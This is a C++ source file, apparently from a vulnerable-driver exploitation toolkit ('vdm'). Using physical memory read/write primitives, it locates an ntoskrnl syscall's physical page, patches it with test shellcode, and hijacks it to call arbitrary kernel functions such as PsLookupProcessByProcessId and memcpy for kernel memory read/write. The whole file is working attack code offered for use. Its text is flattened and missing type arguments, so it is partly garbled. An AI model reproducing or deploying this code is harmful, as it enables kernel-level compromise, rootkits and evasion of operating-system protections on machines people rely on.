#include "vdm_ctx.hpp" namespace vdm { vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func) : read_phys(read_func), write_phys(write_func) { // already found the syscall's physical page... if (vdm::syscall_address.load()) return; vdm::ntoskrnl = reinterpret_cast( LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES)); nt_rva = reinterpret_cast( util::get_kmodule_export( "ntoskrnl.exe", syscall_hook.first, true )); vdm::nt_page_offset = nt_rva % PAGE_4KB; // for each physical memory range, make a thread to search it std::vector search_threads; for (auto ranges : util::pmem_ranges) search_threads.emplace_back(std::thread( &vdm_ctx::locate_syscall, this, ranges.first, ranges.second )); for (std::thread& search_thread : search_threads) search_thread.join(); } auto vdm_ctx::get_peprocess(std::uint32_t pid) -> PEPROCESS { static const auto ps_lookup_peproc = util::get_kmodule_export( "ntoskrnl.exe", "PsLookupProcessByProcessId"); PEPROCESS peproc = nullptr; this->syscall( ps_lookup_peproc, (HANDLE)pid, &peproc ); return peproc; } auto vdm_ctx::get_dirbase(std::uint32_t pid) -> std::uintptr_t { const auto peproc = reinterpret_cast( get_peprocess(pid)); if (!peproc) return {}; return rkm(peproc + 0x28).pml4_pfn << 12; } auto vdm_ctx::get_base_address(std::uint32_t pid) -> std::uintptr_t { static const auto ps_get_base_addr = util::get_kmodule_export( "ntoskrnl.exe", "PsGetProcessSectionBaseAddress"); return syscall( ps_get_base_addr, get_peprocess(pid)); } void vdm_ctx::rkm(void* dst, void* src, std::size_t size) { static const auto ntoskrnl_memcpy = util::get_kmodule_export("ntoskrnl.exe", "memcpy"); syscall( ntoskrnl_memcpy, dst, src, size); } void vdm_ctx::wkm(void* dst, void* src, std::size_t size) { static const auto ntoskrnl_memcpy = util::get_kmodule_export("ntoskrnl.exe", "memcpy"); syscall( ntoskrnl_memcpy, dst, src, size); } void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const { const auto page_data = reinterpret_cast( VirtualAlloc( nullptr, PAGE_4KB, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE )); // you must write to the VirtualAlloc // page in order for the PTE to be created... memset(page_data, NULL, PAGE_4KB); for (auto page = 0u; page < length; page += PAGE_4KB) { if (vdm::syscall_address.load()) break; if (!read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB)) continue; // check the first 32 bytes of the syscall, if its the same, test that its the correct // occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)... if (!memcmp(page_data + nt_page_offset, ntoskrnl + nt_rva, 32)) if (valid_syscall(reinterpret_cast(address + page + nt_page_offset))) syscall_address.store( reinterpret_cast( address + page + nt_page_offset)); } VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT); } bool vdm_ctx::valid_syscall(void* syscall_addr) const { static std::mutex syscall_mutex; syscall_mutex.lock(); static const auto proc = GetProcAddress( LoadLibraryA(syscall_hook.second), syscall_hook.first ); // 0: 48 31 c0 xor rax, rax // 3 : c3 ret std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 }; std::uint8_t orig_bytes[sizeof shellcode]; // save original bytes and install shellcode... read_phys(syscall_addr, orig_bytes, sizeof orig_bytes); write_phys(syscall_addr, shellcode, sizeof shellcode); auto result = reinterpret_cast(proc)(); write_phys(syscall_addr, orig_bytes, sizeof orig_bytes); syscall_mutex.unlock(); return result == STATUS_SUCCESS; } }